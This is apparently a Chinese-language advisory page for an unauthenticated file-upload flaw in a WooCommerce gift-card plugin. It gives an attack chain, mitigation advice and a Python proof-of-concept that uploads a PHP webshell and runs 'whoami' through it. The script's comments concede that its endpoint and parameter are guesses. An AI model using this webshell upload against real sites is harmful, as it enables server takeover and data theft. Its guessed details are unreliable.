CVE-2026-45444 CVSS 10.0 严重

CVE-2026-45444: WooCommerce Pro插件任意文件上传漏洞

披露日期: 2026-05-20

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-45444

漏洞类型

任意文件上传

CVSS评分

10.0 严重

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

WP Swings Gift Cards For WooCommerce Pro

漏洞概述

WP Swings开发的Gift Cards For WooCommerce Pro插件中存在严重的未限制文件上传漏洞。由于未能正确验证上传文件的类型，未经身份验证的远程攻击者可利用此缺陷上传恶意文件（如WebShell）。该漏洞CVSS v3.1评分为10.0，影响4.2.6及以下版本，攻击者成功利用后可能导致服务器被完全接管。

技术细节

该漏洞的根源在于插件处理文件上传的代码逻辑中缺乏对文件扩展名和MIME类型的严格校验。在受影响的版本中，特定的上传接口允许用户上传文件，但未将其限制在安全的图片格式内。攻击者可以通过构造HTTP POST请求，将包含PHP代码的恶意文件伪装或直接上传到服务器的Web可访问目录。由于CVSS向量为AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H，攻击者无需用户交互和权限即可利用该漏洞。一旦文件上传成功，攻击者通过浏览器访问该文件路径，即可触发服务器端解析执行恶意代码，从而获得系统权限，造成数据泄露、篡改或服务中断。

攻击链分析

STEP 1

侦察

攻击者使用自动化工具扫描互联网，识别安装了WP Swings Gift Cards For WooCommerce Pro插件且版本低于或等于4.2.6的WordPress站点。

STEP 2

漏洞利用

攻击者向存在漏洞的上传接口发送特制的HTTP POST请求，在请求中包含恶意的PHP脚本文件，绕过客户端或简单服务端的类型检查。

STEP 3

代码执行

服务器接收并保存恶意文件到Web目录。攻击者通过浏览器直接访问该文件的URL，Web服务器解析PHP代码，从而在服务器端执行系统命令。

STEP 4

权限维持

攻击者利用获得的WebShell权限进一步提权，安装后门程序，长期控制受害服务器，窃取数据库数据或作为跳板攻击内网。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Target URL (Replace with actual vulnerable endpoint)
target_url = "http://example.com/wp-content/plugins/giftware/upload_endpoint.php"
shell_url = "http://example.com/wp-content/uploads/shell.php"

# Malicious PHP payload
php_payload = "<?php system($_GET['cmd']); ?>"

# Prepare the file upload
files = {
    'file': ('shell.php', php_payload, 'application/octet-stream')
}

data = {
    'action': 'upload_gift_card_image' # Example parameter based on plugin functionality
}

try:
    print("[+] Exploiting File Upload Vulnerability...")
    response = requests.post(target_url, files=files, data=data)
    
    if response.status_code == 200 and "success" in response.text.lower():
        print("[+] File uploaded successfully!")
        
        # Verify execution
        verify = requests.get(f"{shell_url}?cmd=whoami")
        if verify.status_code == 200:
            print(f"[+] RCE Successful! Current user: {verify.text.strip()}")
    else:
        print("[-] Exploit failed or patch applied.")
        print(response.text)
except Exception as e:
    print(f"[!] Error: {e}")

影响范围

WP Swings Gift Cards For WooCommerce Pro <= 4.2.6

防御指南

临时缓解措施

如果无法立即升级，建议暂时禁用该插件以阻断攻击路径。同时，管理员应检查服务器日志及文件系统，排查是否已被上传可疑文件（如近期新增的.php文件），并对受感染的系统进行取证和清理。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表